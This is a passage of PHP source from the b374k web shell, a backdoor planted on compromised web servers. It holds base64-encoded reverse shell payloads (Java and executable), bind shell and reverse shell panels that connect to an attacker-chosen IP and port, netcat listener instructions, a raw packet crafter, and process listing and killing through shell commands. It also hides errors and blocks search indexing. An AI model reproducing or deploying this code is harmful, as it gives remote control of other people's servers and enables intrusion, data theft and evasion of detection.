"rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA=="; $GLOBALS[\'resources\'][\'rs_java\'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8="; $GLOBALS[\'resources\'][\'rs_executable\'] = "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"; $GLOBALS[\'module\'][\'network\'][\'id\'] = "network"; $GLOBALS[\'module\'][\'network\'][\'title\'] = "Network"; $GLOBALS[\'module\'][\'network\'][\'js_ontabselected\'] = ""; $GLOBALS[\'module\'][\'network\'][\'content\'] = " <table class=\'boxtbl\'> <thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Bind Shell</p></th></tr> </thead> <tbody> <tr><td style=\'width:144px\'>Server IP</td><td><input type=\'text\' id=\'bindAddr\' value=\'".$server_addr."\' disabled></td></tr> <tr><td>Port</td><td><input type=\'text\' id=\'bindPort\' value=\'".$default_port."\' onkeydown=\\"trap_enter(event, \'rs_go_bind\');\\"></td></tr> </tbody> <tfoot> <tr> <td style=\'width:144px;\'> <select id=\'bindLang\' class=\'rsType\'> ".$winbinary." </select> </td> <td><span class=\'button\' onclick=\\"rs_go_bind();\\" style=\'width:120px;\'>run</span></td> </tr> <tr><td colspan=\'2\'><pre id=\'bindResult\'>Press \' run \' button and run \' nc server_ip port \' on your computer</pre></td></tr> </tfoot> </table> <br> <table class=\'boxtbl\'> <thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Reverse Shell</p></th></tr> </thead> <tbody> <tr><td style=\'width:144px\'>Target IP</td><td><input type=\'text\' id=\'backAddr\' value=\'".$remote_addr."\' onkeydown=\\"trap_enter(event, \'rs_go_back\');\\"></td></tr> <tr><td>Port</td><td><input type=\'text\' id=\'backPort\' value=\'".$default_port."\' onkeydown=\\"trap_enter(event, \'rs_go_back\');\\"></td></tr> </tbody> <tfoot> <tr> <td style=\'width:144px;\'> <select id=\'backLang\' class=\'rsType\'> ".$winbinary." </select> </td> <td><span class=\'button\' onclick=\\"rs_go(\'back\');\\" style=\'width:120px;\'>run</span></td> </tr> <tr><td colspan=\'2\'><pre id=\'backResult\'>Run \' nc -l -v -p port \' on your computer and press \' run \' button</pre></td></tr> </tfoot> </table> <br> <table class=\'boxtbl\'> <thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Simple Packet Crafter</p></th></tr> </thead> <tbody> <tr><td style=\'width:120px\'>Host</td><td><input type=\'text\' id=\'packetHost\' value=\'tcp://".$server_addr."\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>Start Port</td><td><input type=\'text\' id=\'packetStartPort\' value=\'80\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>End Port</td><td><input type=\'text\' id=\'packetEndPort\' value=\'80\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>Connection Timeout</td><td><input type=\'text\' id=\'packetTimeout\' value=\'5\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>Stream Timeout</td><td><input type=\'text\' id=\'packetSTimeout\' value=\'5\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> </tbody> <tfoot> <tr><td colspan=\'2\'><textarea id=\'packetContent\' style=\'height:140px;min-height:140px;\'>GET / HTTP/1.1\\\\r\\\\n\\\\r\\\\n</textarea></td></tr> <tr> <td> <span class=\'button\' onclick=\\"packet_go();\\" style=\'width:120px;\'>run</span> </td> <td>You can also press ctrl+enter to submit</td> </tr> <tr><td colspan=\'2\'><div id=\'packetResult\'></div></td></tr> </tfoot> </table> "; if(isset($p[\'rsLang\']) && isset($p[\'rsArgs\'])){ $rsLang = $p[\'rsLang\']; $rsArgs = $p[\'rsArgs\']; $res = ""; if($rsLang=="php"){ $code = get_resource("rs_".$rsLang); if($code!==false){ $code = "?><?php \\$target = \\"".$rsArgs."\\"; ?>".$code; $res = eval_go($rsLang, $code, "", ""); } } else{ $code = get_resource("rs_".$rsLang); if($code!==false){ $res = eval_go($rsLang, $code, "", $rsArgs); } } if($res===false) $res == "error"; output(html_safe($res)); } elseif(isset($p[\'packetTimeout\'])&&isset($p[\'packetSTimeout\'])&&isset($p[\'packetPort\'])&&isset($p[\'packetTimeout\'])&&isset($p[\'packetContent\'])){ $packetHost = trim($p[\'packetHost\']); if(!preg_match("/[a-z0-9]+:\\/\\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost; $packetPort = (int) $p[\'packetPort\']; $packetTimeout = (int) $p[\'packetTimeout\']; $packetSTimeout = (int) $p[\'packetSTimeout\']; $packetContent = $p[\'packetContent\']; if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent); else{ $packetContent = str_replace(array("\\r","\\n"), "", $packetContent); $packetContent = str_replace(array("\\\\r","\\\\n"), array("\\r", "\\n"), $packetContent); } $res = ""; $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout); if(!$sock){ $res .= "<div class=\'weak\'>"; $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div>"; } else{ stream_set_timeout($sock, $packetSTimeout); fwrite($sock, $packetContent."\\r\\n\\r\\n\\x00"); $counter = 0; $maxtry = 1; $bin = ""; do{ $line = fgets($sock, 1024); if(trim($line)=="") $counter++; $bin .= $line; }while($counter<$maxtry); fclose($sock); $res .= "<table class=\'boxtbl\'><tr><td><textarea style=\'height:140px;min-height:140px;\'>".html_safe($bin)."</textarea></td></tr>"; $res .= "<tr><td><textarea style=\'height:140px;min-height:140px;\'>".bin2hex($bin)."</textarea></td></tr></table>"; } output($res); } ?><?php $GLOBALS[\'module\'][\'processes\'][\'id\'] = "processes"; $GLOBALS[\'module\'][\'processes\'][\'title\'] = "Processes"; $GLOBALS[\'module\'][\'processes\'][\'js_ontabselected\'] = "show_processes();"; $GLOBALS[\'module\'][\'processes\'][\'content\'] = ""; if(!function_exists(\'show_processes\')){ function show_processes(){ $output = \'\'; $wcount = 11; if(is_win()){ $cmd = "tasklist /V /FO csv"; $wexplode = "\\",\\""; } else{ $cmd = "ps aux"; $wexplode = " "; } $res = execute($cmd); if(trim($res)==\'\') return false; else{ $output .= "<table id=\'psTable\' class=\'dataView sortable\'>"; if(!is_win()) $res = preg_replace(\'#\\ +#\',\' \',$res); $psarr = explode("\\n",$res); $fi = true; $tblcount = 0; $check = explode($wexplode,$psarr[0]); $wcount = count($check); foreach($psarr as $psa){ if(trim($psa)!=\'\'){ if($fi){ $fi = false; $psln = explode($wexplode, $psa, $wcount); $output .= "<tr><th class=\'col-cbox sorttable_nosort\'><div class=\'cBoxAll\'></div></th><th class=\'sorttable_nosort\'>action</th>"; foreach($psln as $p) $output .= "<th>".trim(trim(strtolower($p)) ,"\\"")."</th>"; $output .= "</tr>"; } else{ $psln = explode($wexplode, $psa, $wcount); $pid = trim(trim($psln[1]),"\\""); $tblcount = 0; $output .= "<tr data-pid=\'".$pid."\'>"; foreach($psln as $p){ if(trim($p)=="") $p = " "; $p = trim(trim($p) ,"\\""); $p = html_safe($p); if($tblcount == 0){ $output .= "<td><div class=\'cBox\'></div></td><td><a class=\'kill\'>kill</a></td><td>".$p."</td>"; $tblcount++; } else{ $tblcount++; if($tblcount == count($psln)) $output .= "<td style=\'text-align:left;\'>".$p."</td>"; else $output .= "<td style=\'text-align:center;\'>".$p."</td>"; } } $output .= "</tr>"; } } } $colspan = count($psln)+1; $colspanAll = $colspan+1; $output .= "<tfoot><tr><td><div class=\'cBoxAll\'></div></td><td colspan=".$colspan." style=\'text-align:left;\'><span class=\'button\' onclick=\'kill_selected();\' style=\'margin-right:8px;\'>kill selected</span><span class=\'button\' onclick=\'show_processes();\'>refresh</span><span class=\'psSelected\'></span></td></tr></tfoot></table>"; } return $output; } } if(isset($p[\'showProcesses\'])){ $processes = show_processes(); if($processes!==false) output($processes); output(\'error\'); } elseif(isset($p[\'allPid\'])){ $allPid = explode(" ", $p[\'allPid\']); $counter = 0; foreach($allPid as $pid){ $pid = trim($pid); if(!empty($pid)){ if(function_exists("posix_kill")){ if(posix_kill($pid,\'9\')) $counter++; } else{ if(is_win()){ $cmd = execute("taskkill /F /PID ".$pid); $cmd = execute("tasklist /FI \\"PID eq ".$pid."\\""); if(strpos($cmd,"No tasks are running")!==false) $counter++; } else{ $cmd = execute("kill -9 ".$pid); if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){ $cmd = trim(execute("ps -p ".$pid)); $check = explode("\\n", $cmd); if(count($check)==1) $counter++; } } } } } if($counter>0) output($counter); else output(\'error\'); } ?><?php\n$error = @ob_get_contents();\n$error_html = (!empty($error))?"<pre class=\'phpError border\'>".str_replace("\\n\\n", "\\n", html_safe($error))."</pre>":"";\n@ob_end_clean();\nerror_reporting(0);\n@ini_set(\'display_errors\',\'0\');\n?><!doctype html>\n<html>\n<head>\n<title><?php echo $GLOBALS[\'title\']." ".$GLOBALS[\'ver\'];?></title>\n<meta charset=\'utf-8\'>\n<meta name=\'robots\' content=\'noindex, nofollow, noarchive\'>\n<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">\n<link rel=\'SHORTCUT ICON\' href=\'<?php echo get_resource(\'b374k\');?>\'>\n<style type="text/css">\n@font-face {\nfont-family:\'ubuntumono\';\nsrc:url(data:application/x-font-woff;charset=utf-8;base64,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